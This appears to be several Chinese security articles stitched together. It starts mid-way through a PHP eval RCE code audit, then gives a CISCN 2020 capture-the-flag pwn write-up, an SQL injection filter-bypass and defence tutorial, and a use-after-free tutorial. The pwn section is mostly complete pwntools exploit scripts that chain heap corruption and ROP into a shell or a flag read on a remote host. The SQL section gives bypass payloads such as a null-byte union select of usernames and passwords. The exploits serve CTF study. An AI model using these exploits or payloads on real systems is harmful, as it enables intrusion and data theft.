switch ( $ifstr1 ) { //这个选择结构可以直接跳过了
case '=':
$ifstr = '0' . $ifstr;
break;
case '{':
case '[':
$ifstr = "'" . str_replace( "=", "'=", $ifstr );
break;
}
$ifstr = str_replace( '=', '==', $ifstr ); //= 替换为==
$ifstr = str_replace( '===', '==', $ifstr ); // ===替换为==
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
//最后拼接结果就是 if(phpinfo()){$flag="if";}else{$flag="else";}
## 0x5 关于漏洞利用
先知那片文章的payload已经给的很详细了,根据我的分析你也能很简单写出来了。
直接加入个if格式的标签就可以直接rce了。
## 0x6 总结
虽然这个漏洞简单,但是换做我以前的话估计就是粗略扫一下,大概明白漏洞思路,而不会去仔细分析,从而丢失了学习机会,但是现在我觉得自己对待学习代码审计的过程中,认真严谨的学习模式才能让自己有所提高。 | 社区文章 |
# CISCN 2020 初赛Pwn
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
pwn题全都没给libc，不过好在nofree那道题搞出来之后直接查出来libc的版本，后面就轻松很多了。wow这道题搞了很久，主要代码太长看得有点心累，再看解出题的队伍蛮多的就死磕了。
## 题解
### babyjsc
这题我附件都没搞下来就被秒得稀烂了，最后队友说就是个python2会eval输入的内容（最后附件我也没搞下来，速度太慢了），反正是个水题。
### nofree
1. 只有两个功能，一个`new`（这个`malloc`是我自己命名的，只是为了方便看，实际上是通过`strdup`里的`malloc`进行分配的）：
int new()
{
int result; // eax
int v1; // [rsp+8h] [rbp-8h]
int v2; // [rsp+Ch] [rbp-4h]
result = get_idx();
v1 = result;
if ( result != -1 )
{
printf("size: ");
result = choice();
v2 = result;
if ( result >= 0 && result <= 0x90 )
{
*(_QWORD *)&chunk_array[16 * v1 + 256] = malloc(result);
result = v2;
*(_QWORD *)&chunk_array[16 * v1 + 264] = v2;
}
}
return result;
}
char *__fastcall malloc(unsigned int a1)
{
memset(chunk_array, 0, 0x100uLL);
printf("content: ");
read_str(chunk_array, a1);
return strdup(chunk_array);
}
一个`edit`：
__int64 edit()
{
__int64 result; // rax
int v1; // [rsp+Ch] [rbp-4h]
result = get_idx();
v1 = result;
if ( (_DWORD)result != -1 )
{
result = *(_QWORD *)&chunk_array[16 * (int)result + 256];
if ( result )
{
printf("content: ");
result = read_str(*(void **)&chunk_array[16 * v1 + 256], *(_QWORD *)&chunk_array[16 * v1 + 264]);
}
}
return result;
}
2. 显然这里`add`功能里输入的size，和`strdup`实际`malloc`出来的size并不一定是对应的，所以在`edit`的时候可以有heap overflow。
3. 无`free`，就直接house of orange了，不过这里是把top chunk扔到`0x70`的fastbin里面去，然后利用heap overflow改fd指向bss上chunk array的地方，size是可以通过`new`功能那里控制的，正好可以控制分配到`chunk[1]`的位置而且不破坏`chunk[0]`，从而达到任意地址写。
4. 因为同样没有`show`，这里我的思路是：
* 改`atoi_got`为`printf_plt`，并且把`exit_got`改为`ret`，这样就可以利用`atoi`引入格式化字符串漏洞，同时`choice`错误的情况下能继续执行程序而不exit。
* 然后利用格式化字符串漏洞把`libc_read`和`stack address`全leak出来。
5. 由于查不到libc的版本，所以只能后面的思路就是想办法打syscall，但是ROPgadget是搜不到syscall的。这里就利用`libc_read + 0xe`的地方就是一个`syscall`的gadget，来进行后续的syscall调用。
6. 至于`rdi`，`rsi`，`rdx`可以通过通用gadget控制，最关键的是`rax`，这里采用调用`read`的方法，因为函数的返回值等于读入的字符串的长度，所以只要控制读入`0x3b`长度字符串，就控制`rax = 0x3b`了。
7. 最后就直接构造rop，利用任意地址写覆盖`edit`的返回地址即可。
8. 拿完shell直接查靶机的libc：`Ubuntu GLIBC 2.23-0ubuntu11.2`，后面方便很多。
9. exp仅供参考：
p = remote('101.200.53.148', 12301)
def add(idx, size, content):
p.sendlineafter("choice>> ", "1")
p.sendlineafter("idx: ", str(idx))
p.sendlineafter("size: ", str(size))
p.sendafter("content: ", content)
def add_s(idx, size, content):
p.sendafter("choice>> ", "1\x00")
if idx == 0:
p.sendafter("idx: ", "\x00")
else:
p.sendafter("idx: ", "1" * idx + '\x00')
p.sendlineafter("size: ", "%" + str(size) + "c")
p.sendafter("content: ", content)
def edit(idx, content):
p.sendlineafter("choice>> ", "2")
p.sendlineafter("idx: ", str(idx))
p.sendafter("content: ", content)
def edit_s(idx, content):
p.sendafter("choice>> ", "11\x00")
if idx == 0:
p.sendafter("idx: ", "\x00")
else:
p.sendafter("idx: ", "1" * idx + "\x00")
p.sendafter("content: ", content)
atoi_got = elf.got['atoi']
exit_got = elf.got['exit']
read_got = elf.got['read']
printf_got = elf.got['printf']
printf_plt = elf.plt['printf']
ret = 0x00000000004006b9 # ret
# hijack chunk array
add(0, 0x80, "AAA\x00")
edit(0, "A" * 0x18 + p64(0xfe1))
for i in range(24):
add(0, 0x90, "B" * 0x90)
add(0, 0x90, "A" * 0x30)
add(1, 0x90, "A" * 0x88 + p64(0x81))
edit(0, "A" * 0x38 + p64(0x81) + p64(0x6020C0 + 0x100))
add(0, 0x81, "A" * 0x77)
add(0, 0x81, "A" * 0x77)
# write atoi_got table
edit(0, p64(atoi_got) + p64(0x100))
edit(1, p64(printf_plt))
edit_s(0, p64(exit_got) + p64(0x100))
edit_s(1, p64(ret))
# leak read to get syscall gadget
payload = "%7$s%8$s" + p64(read_got) + p64(printf_got)
p.sendlineafter("choice>> ", payload)
libc_read = u64(p.recv(6).ljust(8, "\x00"))
syscall = libc_read + 0xE
libc_printf = u64(p.recv(6).ljust(8, "\x00"))
# leak stack
payload = "%12$p"
p.sendlineafter("choice>> ", payload)
p.recvuntil("0x")
stack_addr = int(p.recv(12), 16)
# write gadget
pop_rdi = 0x0000000000400c23 # pop rdi ; ret
pop_rsi = 0x0000000000400c21 # pop rsi ; pop r15 ; ret
gadget_1 = 0x400C00
gadget_2 = 0x400C16
edit_s(0, p64(stack_addr + 8) + p64(0x300) + "/bin/sh\x00" + p64(syscall))
payload = flat([pop_rdi, 0, pop_rsi, stack_addr + 0xB8, 0, libc_read]) # control rax
payload += flat([gadget_2, 0, 0, 1, 0x6020C0 + 0x128, 0, 0, 0x6020C0 + 0x120])
payload += flat([gadget_1, 0, 0, 0, 0, 0, 0, 0])
# raw_input()
edit_s(1, payload)
sleep(2)
p.send('A' * 0x3b)
'''
.text:0000000000400C00 loc_400C00:
.text:0000000000400C00 mov rdx, r13
.text:0000000000400C03 mov rsi, r14
.text:0000000000400C06 mov edi, r15d
.text:0000000000400C09 call qword ptr [r12+rbx*8]
.text:0000000000400C0D add rbx, 1
.text:0000000000400C11 cmp rbx, rbp
.text:0000000000400C14 jnz short loc_400C00
.text:0000000000400C16
.text:0000000000400C16 loc_400C16: ; CODE XREF: init+34↑j
.text:0000000000400C16 add rsp, 8
.text:0000000000400C1A pop rbx
.text:0000000000400C1B pop rbp
.text:0000000000400C1C pop r12
.text:0000000000400C1E pop r13
.text:0000000000400C20 pop r14
.text:0000000000400C22 pop r15
.text:0000000000400C24 retn
'''
success("libc_read: " + hex(libc_read))
success("libc_printf: " + hex(libc_printf))
success("stack_addr: " + hex(stack_addr))
p.interactive()
### maj
1. 比较常规的利用方法，给了四个功能实际上只有三个有效，分别是：
* `add`功能：
v10 = __readfsqword(0x28u);
puts("please answer the question\n");
_isoc99_scanf("%d", &v8);
if ( !sub_400B2B(v8) )
exit(0);
puts("you are right\n");
for ( i = 0; i <= 31 && buf[i]; ++i )
;
if ( i == 32 )
{
puts("full!");
}
else
{
puts("______?");
_isoc99_scanf("%d", &v7);
if ( v7 >= 0 && v7 <= 4096 )
{
buf[i] = malloc(v7);
puts("start_the_game,yes_or_no?");
read(0, &unk_603060, 0x100uLL);
......
snprintf(byte_6033E0, v7, "%s", &unk_603060);// here
......
size[i] = v5;
}
else
{
size[i] = v7;
}
中间那部分基本不用管（整个过程下来没有影响），那个`answer
question`只要简单爆一下就能知道80这个数字可用，后面基本就是根据输入的size去`malloc`一个chunk，然后通过`snprintf`把输入写到chunk里面，size写到bss上。
* `delete`:
v4 = __readfsqword(0x28u);
puts("index ?");
_isoc99_scanf("%d", &v3);
if ( v3 >= 0 && v3 <= 31 && buf[v3] )
{
......
free(buf[v3]);
}
中间逻辑一样不用管，就是个直接`free`没有清空指针。
* `edit`：
unsigned __int64 edit()
{
int v0; // eax
int v1; // eax
int v3; // [rsp+4h] [rbp-Ch]
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
puts("index ?");
_isoc99_scanf("%d", &v3);
if ( v3 >= 0 && v3 <= 31 && buf[v3] )
{
puts("__new_content ?");
if ( val_100 <= val_0 )
v0 = dword_603040;
else
v0 = val_0;
if ( v0 <= val_100 && val_0 > dword_603040 || dword_603040 <= val_0 )
v1 = val_0;
else
v1 = dword_603040;
val_0 = v1;
read(0, buf[v3], size[v3]);
puts("done");
}
else
{
puts("invalid index");
}
return __readfsqword(0x28u) ^ v4;
}
2. 显然这里存在一个uaf，直接先通过uaf，形成chunk overlap，使得同一个chunk同时存在于unsorted bin和fastbin（`size = 0x70`）中，这样`fastbin->fd = main_arena + 0x58`。
3. 由于没有`show`，通用的办法就是通过上述构造，对`fastbin->fd`进行partial write 2 byte，所以只要bruteforce 4 bits，就能通过fastbin attack分配到`stdout`结构体的上方，然后将:
_flags = 0xfbad1800
_IO_read_ptr = 0
_IO_read_end = 0
_IO_read_base = 0
_IO_write_base = 0xXXXXXXXXXXXXXX00
就能leak出缓冲区的内存，从而leak出libc地址。
4. 由于通过nofree那题拿到了libc版本，所以后面就是利用uaf打`__malloc_hook`为`onegadget`即可。
5. exp仅供参考：
p = remote('101.200.53.148', 15423)
def add(num, size, content):
p.sendlineafter(">> ", "1")
p.sendlineafter("please answer the question", str(num))
p.sendlineafter('______?', str(size))
p.sendlineafter("start_the_game,yes_or_no?", content)
def delete(idx):
p.sendlineafter(">> ", "2")
p.sendlineafter("index ?", str(idx))
def edit(idx, content):
p.sendlineafter(">> ", "4")
p.sendlineafter("index ?", str(idx))
p.sendafter("__new_content ?", content)
main_arena_offset = 0x3c4b20
__malloc_hook_offset = libc.sym["__malloc_hook"]
one_gadget_offset = 0xf1207
while True:
try:
add(80, 0x28, "AAAA") # chunk 0
add(80, 0x28, "BBBB") # chunk 1
add(80, 0x28, "CCCC") # chunk 2
for i in range(4):
add(80, 0x68, "DDDD") # chunk 3 4 5 6
delete(3)
# chunk overlap
delete(2)
delete(0)
edit(0, '\x10')
add(80, 0x28, "DDDD") # chunk 7
edit(7, (p64(0) + p64(0x31)) * 2)
add(80, 0x28, "EEEE") # chunk 8
edit(8, p64(0) * 3 + p64(0xd1))
# unsorted bin
delete(1)
add(80, 0x58, "FFFF") # chunk 9
# bruteforce 4 bits
edit(3, "\xdd\x55")
add(80, 0x68, "GGGG") # chunk 10
# leak
add(80, 0x68, "HHHH") # chunk 11
edit(11, "\x00" * 0x33 + p64(0xfbad1800) + p64(0) * 3 + "\x00")
p.recvline()
p.recv(0x40)
libc_base = u64(p.recv(8)) - 0x3c5600
__malloc_hook = libc_base + __malloc_hook_offset
one_gadget = libc_base + one_gadget_offset
break
except:
print("failed")
p.close()
p = remote('101.200.53.148', 15423)
# p = process(argv=[_proc], env=_setup_env())
print("success")
edit(11, p64(libc_base + main_arena_offset + 0x58) * 2)
# uaf
add(80, 0x68, "AAAA") # chunk 12
delete(12)
edit(12, p64(__malloc_hook - 0x23))
add(80, 0x68, "BBBB") # chunk 13
add(80, 0x68, "CCCC") # chunk 14
edit(14, '\x00' * 0x13 + p64(one_gadget))
# trigger
p.sendlineafter(">> ", "1")
p.sendlineafter("please answer the question", str(80))
p.sendlineafter('______?', str(0x38))
success("libc_base: " + hex(libc_base))
success("one_gadget: " + hex(one_gadget))
p.sendline(token)
p.interactive()
### easybox
思路和上一题一样。
1. 两个功能：
* `add`：
unsigned __int64 add()
{
unsigned __int64 v1; // [rsp+8h] [rbp-18h]
unsigned __int64 size; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("idx:");
v1 = choice();
if ( v1 > 0xF )
{
puts("error.");
exit(1);
}
puts("len:");
size = choice();
if ( size > 0xFFF )
{
puts("error.");
exit(1);
}
chunk_size[v1] = size + 1;
chunk_array[v1] = malloc(size);
puts("content:");
read(0, chunk_array[v1], chunk_size[v1]);
return __readfsqword(0x28u) ^ v3;
}
直接就是一个off by one。
* `delete`：
unsigned __int64 delete()
{
unsigned __int64 v1; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("idx:");
v1 = choice();
if ( v1 > 0xF || !chunk_array[v1] )
{
puts("error.");
exit(1);
}
free(chunk_array[v1]);
chunk_array[v1] = 0LL;
chunk_size[v1] = 0LL;
return __readfsqword(0x28u) ^ v2;
}
删得很彻底。
2. 直接利用off by one，构造chunk overlap，因为没有`show`，所以同样使得同一个chunk同时存在于unsorted bin和fastbin（`size = 0x70`）中，这样`fastbin->fd = main_arena + 0x58`；然后partial write，bruteforce，write stdout， leak。
3. 然后再利用chunk overlap，fastbin attack打`__malloc_hook`为`onegadget`即可。
4. exp仅供参考：
p = remote('101.200.53.148', 34521)
def add(idx, len, content):
p.sendlineafter(">>>", "1")
p.sendlineafter("idx:", str(idx))
p.sendlineafter("len:", str(len))
p.sendafter("content:", content)
def delete(idx):
p.sendlineafter(">>>", "2")
p.sendlineafter("idx:", str(idx))
stdout_offset = 0x3c5620
__malloc_hook_offset = libc.sym["__malloc_hook"]
one_gadget_offset = 0xf1207
while True:
try:
# chunk overlap
add(0, 0x28, "AAAA")
add(1, 0x28, "BBBB")
delete(0)
add(2, 0x68, "CCCC")
delete(2)
add(0, 0x28, "A" * 0x28 + "\xa1")
add(3, 0x28, "DDDD")
delete(1)
# partial write
add(1, 0x28, "B" * 0x28 + "\x61")
delete(1)
add(4, 0x58, p64(stdout_offset - 0x43)[:2])
add(1, 0x28, "B" * 0x28 + "\x71")
# leak
add(5, 0x68, "EEEE")
add(6, 0x68, "\x00" * 0x33 + p64(0xfbad1800) + p64(0) * 3 + "\x00")
p.recvline()
p.recv(0x40)
libc_base = u64(p.recv(8)) - 0x3c5600
__malloc_hook = libc_base + __malloc_hook_offset
one_gadget = libc_base + one_gadget_offset
break
except:
print("Failed")
p.close()
p = remote('101.200.53.148', 34521)
print("Success")
# chunk overlap
add(7, 0x28, "AAAA")
add(8, 0x28, "BBBB")
delete(7)
add(9, 0x68, "CCCC")
delete(9)
add(7, 0x28, "A" * 0x28 + "\xa1")
add(10, 0x28, "DDDD")
delete(8)
# __malloc_hook
add(8, 0x38, "E" * 0x28 + p64(0x71) + p64(__malloc_hook - 0x23))
add(9, 0x68, "FFFF")
add(11, 0x68, "G" * 0x13 + p64(one_gadget))
# trigger
p.sendlineafter(">>>", "1")
p.sendlineafter("idx:", str(12))
p.sendlineafter("len:", str(0x48))
success("libc_base: " + hex(libc_base))
success("__malloc_hook: " + hex(__malloc_hook))
success("one_gadget: " + hex(one_gadget))
p.sendline("token")
p.interactive()
### wow
主要就是逆向这个binary，搞清楚逻辑后难度就降低了。
1. 主要就是程序在栈上开辟了一块0x400的地址作为虚拟栈，然后指令就是`~@#$^&|*{}`这几个，前面的几个很容易看出来就是对虚拟栈进行一些基本的操作，主要是后面这两个`{}`，队友说是像一些红黑树（实际上后来发现并不重要），重点在于：
* `{`和`}`可以理解为条件跳转指令，如果当前虚拟栈上的值不为0，那么`{}`中间的指令就会得到执行。
* 执行到`}`的时候，同样检查虚拟栈上的值不为0的话，就会重新跳回`{`执行，相当于一个循环操作（这里可以解释为什么`~{}`指令会造成程序死循环了）。
2. 之后在这个基础上，尝试输入一些payload，发现`~{@~}`会打印出”\xFF\xFF\xFF\xFF”（在没有aslr的情况下），由于程序中打印code用的就是一个`code_buf`指针，这里显然是指针被改了。
3. 调试后发现，原因在于执行过程中，存在一个1 byte溢出，将虚拟栈后面的指针低字节给覆盖了，而这个指针，正好就是指向输入的指令；那么，此时相当于我们可以修改指令buf的位置，向栈上附近的位置写入任意值。
4. 同时可以发现：
while ( 1 )
{
read(0LL, &tmp, 1LL);
chr = tmp;
if ( tmp == 10 )
break;
index = len;
len_inc = len + 1;
if ( code_buf == (__int64 *)&code )
v11 = 15LL;
else
v11 = code;
if ( len_inc > v11 )
realloc(&code_buf, len, 0LL, 0LL, 1LL);
*((_BYTE *)code_buf + index) = chr;
len = len_inc;
*((_BYTE *)code_buf + index + 1) = 0;
}
这里因为`code_buf`被改了，造成`code_buf == (__int64
*)&code`没有满足，`v11`就被赋值为上一次输入的指令值了，也就是说就是一个很大的值，从而`realloc`不会因为指令的长度超过15而被调用从而将`code_buf`指向heap上。
5. 因此，利用的思路就很清晰了，就是利用溢出将`code_buf`指向`return address`，然后写入orw的rop拿flag，但是需要注意的，避开地址包含有效指令的gadget（或者进行计算）。
6. 这样rop打return address后发现还是会crash，其实程序还有个检查`code_buf`的位置：
if ( code_buf != (__int64 *)&code )
sub_405C90((__int64)code_buf);
也就是说要绕过这个check，还必须将`code_buf`改回来，那么其实可以在rop的末尾添加指令改回来即可（因为解析指令的时候如果遇到非指令字符是会跳过的）。
7. 改回来后再触发rop即可。
8. `exp`仅供参考：
p = remote('101.200.53.148', 15324)
syscall = 0x00000000004dc054 # syscall ; ret
pop_rdi = 0x000000000041307a # pop rdi ; pop ...; ret
pop_rsi = 0x000000000047383d # pop rsi ; pop ...; ret
pop_rdx = 0x000000000053048b # pop rdx ; pop ...; ret
pop_rax = 0x000000000053048a # pop rax ; pop ...; pop ...; ret
def call(rax, rdi=0, rsi=0, rdx=0):
return flat([pop_rax, rax, 0, 0, pop_rdi, rdi, 0, pop_rsi, rsi, 0, pop_rdx, rdx, 0, syscall])
p.sendlineafter("enter your code:\n", "~{@&$}")
p.send("A" * 0x3FF)
p.recvuntil("\nrunning....\n")
sleep(0.2)
p.recvuntil("\x00" * 0x3FF)
val = ord(p.recv(1))
p.send(chr((val + 0x58) & 0xFF))
p.sendafter("continue?", "Y")
sleep(1)
payload = call(0, 0, 0x5D3700, 0x10)
payload += call(2, 0x5D3700, 0, 0)
payload += call(0, 3, 0x5D3700 + 0x10, 0x50)
payload += call(1, 1, 0x5D3700 + 0x10, 0x50)
p.sendlineafter("enter your code:\n", payload + "~{@&$}")
p.send("A" * 0x3FF)
p.send(chr(val))
p.sendafter("continue?", "N")
p.send("/flag\x00"))
p.interactive() | 社区文章 |
来自i春秋作者：[zusheng](http://bbs.ichunqiu.com/thread-10093-1-1.html?from=paper)
前面我们学习了如何寻找，确认，利用SQL注入漏洞的技术，本篇文章我将介绍一些更高级的技术，避开过滤，绕开防御。有攻必有防，当然还要来探讨一下SQL注入防御技巧。
### 目录
**第五节 避开过滤方法总结**
* 5.1、大小写变种
* 5.2、URL编码
* 5.3、SQL注释
* 5.4、空字节
* 5.5、二阶SQL注入
**第六节 探讨SQL注入防御技巧**
* 6.1、输入验证
* 6.2、编码输出
#### 第五节 避开过滤方法总结
Web应用为了防御包括SQL注入在内的攻击，常常使用输入过滤器，这些过滤器可以在应用的代码中，也可以通过外部实现，比如Web应用防火墙和入侵防御系统。避开过滤的方法是灵活的，本节我总结了一些常用的技巧。在我们不知道过滤规则的时候可以尝试一下。
#### 5.1、大小写变种
这种技巧适用于关键字阻塞过滤器不聪明的时候，我们可以变换关键字字符串中字符的大小写来避开过滤，因为使用不区分大小写的方式处理SQL关键字。
例如：（下面的代码就是一个简单的关键字阻塞过滤器）
function waf($id1){
if(strstr($id1,'union')){
echo 'error:lllegal input';
return;
}
return $id1;
}
这段代码的缺陷就在strstr()函数是对大小写敏感的，所以我们可以通过大小写变种来绕过。
#### 5.2、URL编码
URL编码用途广泛，可以通过它绕过多种类型的输入过滤器。
function waf($id1){
if(strstr($id1,' ') || strstr($id1,'/**/')){
echo 'error:lllegal input';
return;
}
return $id1;
}
双URL编码有时候会起作用，如果Web应用多次解码，在最后一次解码之前应用其输入过滤器。
因为双URL编码，第一次解码%2f%2a进入输入过滤器，所以成功绕过了。当然这个使用前提是后面有一个URL解码。
#### 5.3、SQL注释
很多开发人员认为，将输入限制为单个就可以限制SQL注入攻击，所以他们往往就只是阻止各种空白符。
function waf($id1){
if(strstr($id1,' ')){
echo 'error:lllegal input';
return;
}
return $id1;
}
但是内联注释不使用空格就可以构造任意复杂的SQL语句。
#### 5.4、空字节
通常的输入过滤器都是在应用程序之外的代码实现的。比如入侵检测系统（IDS），这些系统一般是由原生编程语言开发而成，比如C++，为什么空字节能起作用呢，就是因为在原生变成语言中，根据字符串起始位置到第一个出现空字节的位置来确定字符串长度。所以说空字节就有效的终止了字符串。
只需要在过滤器阻止的字符串前面提供一个采用URL编码的空字节即可，例如：
%00' union select username,password from users where username='admin' --
#### 5.5、二阶SQL注入
> 实际上到目前为止，你在网上大部分搜索SQL注入文章 基本都可以归类到"一阶(first-> order)"SQL注入中，因为这些例子涉及的事件均发生在单个HTTP请求和响应中，如下所示：
>
> (1) 攻击者在HTTP请求中提交某种经过构思的输入。
>
> (2) 应用处理输入，导致攻击者注入的SQL查询被执行。
>
> (3) 如果可行的话，会在应用对请求的响应中向攻击者返回查询结果。
>
> 另一种不同的SQL注入攻击是"二阶(second-order)"SQL注入，这种攻击的事件时序通常如下所示：
>
> (1) 攻击者在HTTP请求中提交某种经过构思的输入。
>
> (2) 应用存储该输入(通常保存在数据库中)以便后面使用并响应请求。
>
> (3) 攻击者提交第二个(不同的)请求。
>
> (4) 为处理第二个请求，应用会检索已经存储的输入并处理它，从而导致攻击者注入的SQL查询被执行。
>
> (5) 如果可行的话，会在应用对第二个请求的响应中向攻击者返回查询结果。
从字面上来看二阶SQL注入对于新手很难理解，所以我来介绍一个经典的例子帮助大家理解。
这是一个个人信息应用程序，我们可以更新我们的用户名，也可以查看我们的个人信息。
第二步查看我们个人信息时的SQL语句：
select * from users where username = '$name'
查询的语句所用到的变量name就是从数据库提取到的我们的用户名，所以我们可以先利用更新我们的用户名功能插入语句进数据库。
这样查看我们个人信息的时候就成功执行了我们的SQL注入攻击。
例如：我们在用户名插入
zusheng' or '1'='1
那么后面我们就执行了语句
select * from users where username = 'zusheng' or '1'='1'
### 第六节 探讨SQL注入防御技巧
#### 6.1、输入验证
输入验证是指要验证所有应用程序接收到的输入是否合法。
有两中不同类型的输入验证方法：白名单和黑名单验证
白名单验证：比如id值，那么我们判断它是否为数字。
黑名单验证：使用正则表达式禁止使用某些字符和字符串
应该尽量使用白名单，对于无法使用白名单的，使用黑名单提供局部限制。
#### 6.2、编码输出
我们除了要验证应用程序收到的输入以外，还要对数据进行编码，这样不仅可以防御SQL注入攻击，还能防止出现其他问题，比如XSS。
#### 结束语
因为本人技术有限，所以对防御技巧了解并不是深入，希望有更好防御技巧的小伙伴可以分享一下心得，我会将收到的技巧加入本文，提供给更多的小伙伴进行参考，谢谢了。
本文由i春秋学院提供，原文地址：http://bbs.ichunqiu.com/thread-10093-1-1.html?from=paper
* * * | 社区文章 |
# IE漏洞学习笔记（二）：UAF释放后重用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## UAF基础概念
UAF漏洞全称为use after
free，即释放后重用。漏洞产生的原因，在于内存在被释放后，但是指向指针并没有被删除，又被程序调用。比较常见的类型是C++对象，利用UAF修改C++的虚函数表导致的任意代码执行。
在了解UAF是导致任意代码执行的细节，首先让我们了解几个概念：
悬挂指针、内存占坑、C++虚函数
实验源码如下
// UAFv1.cpp : 定义控制台应用程序的入口点。
//
#include<iostream>
using namespace std;
#include "stdafx.h"
#include<stdio.h>
#include<Windows.h>
#define size 32
class Base
{
public :
int base;
virtual void f(){ cout<<"Base::f()"<<endl;}
virtual void g(){cout<<"Base::g()"<<endl;}
virtual void h(){cout<<"Base::h()"<<endl;}
};
class Child:public Base
{
public:
int child;
void f(){cout<<"Child::f()"<<endl;}
void g1(){cout<<"Child::g1()"<<endl;}
void h1(){cout<<"Child::h1()"<<endl;}
};
int _tmain(int argc, _TCHAR* argv[])
{
char *buf1;
char * buf2;
//Lab1
buf1=(char *)malloc(size);
printf("buf1:0x%pn",buf1);
free(buf1);
buf2=(char *)malloc(size);
printf("buf2:0x%pn",buf2);
memset(buf2,0,size);
printf("buf2:%dn",*buf2);
printf("====Use Afrer Free====n");
strncpy(buf1,"hack",5);
printf("buf2:%snn",buf2);
free(buf2);
//Lab2
Base *B=new Base();
Base *C=new Child();
getchar();
return 0;
}
### 1.1悬挂指针(Dangling pointer)
指向被释放的对象内存的指针。
成因：释放掉后没有将指针重置为null，导致指针依旧可以访问，并且继续指向已经释放的内存.UAF便是调用悬挂指针（多为C++对象），通过对这段内存提前的设计，使得程序调用我们设计好的程序。
案例程序中，为buf1分配了一段32字节的空间，然后将其释放。
但是当使用strncpy对已经释放的buf1拷贝字符串时，发现被free的buf1依然是可以访问的，并且指向的内存没有变化。
释放后的buf1依然指向原来的内存，此时的buf1就是一个悬挂指针。
### 1.2占坑
了解堆分配的占坑机制，需要了解SLUB系统内存分配机制。和SLAB不同，这种利用方法对对象类型没有限制，两个对象只要大小差不多就可以重用同一块内存，也就是说我们释放掉对象A以后马上再申请对象B，只要两者大小相同，那么B就很有可能重用A的内存。
见案例中，释放buf1时，buf1指向0xa35470的内存。而在buf1释放之后，立即分配一个相同大小的内存给buf2指针，发现buf2获取的指针指向的就是buf1被释放的内存地址。
这就是buf2占坑了buf1的内存空间。
此时发散一下思维，buf2可控，而buf1仍然指向buf2的内存空间，是不是就有可能造成程序出现问题。
### 1.3虚函数
C++中的虚函数的作用主要是实现了多态的机制。简而言之就是用父类型别的指针指向其子类的实例，然后通过父类的指针调用实际子类的成员函数。这种技术可以让父类的指针有“多种形态”。代码表现形式就是C++类中Virtaul开头的函数。
同时C++的虚函数是漏洞攻击的重点对象，C++对象中有一个非常重要的结构—虚函数表。
覆盖C++虚函数造成的漏洞利用技术的风靡程度，不亚于经典栈溢出的覆盖手法。更重要的是覆盖虚函数表还可以从本质上绕过GS等内存保护机制，这里不展开说了。
详细的逆向分析，非常推荐《C++反汇编揭秘》这本书，将虚函数的反汇编代码和C++代码进行对比，理解会比较深刻。
代码分别实例化了Base和Child为B和C，查看内存结构。
Base对象B的首地址存放_vfptr(虚函数表)，指向三个虚函数f()、g()、 h()
Child对象C的首地址是对基类（Base）的一个拷贝，值得注意的是Base类里的虚函数表，这里的f()函数被Child重写，g和h函数则依然指向Base实例化时其在虚函数表中的地址。
C的第二个地址则指向自己的虚函数表。
这些继承关系，可以简单概括为下面三张图。
接下来我们观察代码是如何生成C++虚函数表的。
首先v2=operator new(8u) 对应Base *B=new Base()实例化对象，v2为指向对象的指针。
实例化对象之后，C++会将虚函数表的地址放在对象内存的开头。
进入sub_411140函数之后经过二次跳转进入sub_4117A0函数
text:004117C3 mov eax, [ebp+var_8]
.text:004117C6 mov dword ptr [eax], offset ??_7Base@@6B@ ; const Base::`vftable'
mov操作将虚函数表地址放到[eax]的位置，而此时eax的值就是通过上层函数传递下来的v2的指针。所以这段代码就完成了将虚表放置到对象头部的效果。
这一步骤之后，也就能理解为什么虚函数表会在对象表头，同时这个操作也是我们用来判断C++对象创建的一个非常好的信号，还可以获取这个对象的头部地址和虚表。
## 通过PWN题掌握UAF
在掌握了基础之后，我们可以拿pwnalbe.kr 的UAF题来快速理解利用原理。
使用scp下载二进制文件和源码（密码:guest）
$ scp -P2222 [email protected]:/home/uaf/uaf /Users/p0kerface/
$ scp -P2222 [email protected]:/home/uaf/uaf.cpp /Users/p0kerface/
主要思路便是利用占坑的方法，向被释放的空间写入数据覆盖vfptr（虚函数表），然后调用悬挂指针完成UAF，这题非常经典值得在做UAF之前的复习。
调试过程中，意识到自己阅读C++的反汇编水平还是不够，类和对象没有源码只看IDA还是非常困难的。所以会把一些逆向的笔记记录下来。
程序源码
uaf.cpp
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;
class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};
class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};
class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};
int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. usen2. aftern3. freen";
cin >> op;
switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}
return 0;
}
### 2.1代码分析
通过IDA反汇编，不过C++的代码已经非常难以看懂了，代码主要分两大块解析。
第一部分是类和子类的定义，定义的父类Human和子类Man和Woman。其中父类包含get_shell函数，虽然子类并没有定义，但是通过继承关系可知，在实例化过程中，虚函数表中函数会包含这个函数。
第二部分就是类的实例化和use after free 三个功能。
接下来我们将程序重要的部分分析一下，以便理解漏洞。
（1）实例化对象
Human* m = new Man(“Jack”, 25);这句在IDA翻译如下，变量v3为实例化Man对象之后的指针。
找到对应的反汇编，0x400F13这个地方是对象实例化的函数，在call执行结束之后，EBX中便保存这Man对象的指针，即上文中的v3变量。可以通过gdb下断点进行调试。
当实例完对象之后，ebx存放的地址（0x401570），也就是前文中所说的虚函数表vfptr，指向的第一个函数Human继承下来的give_shell。
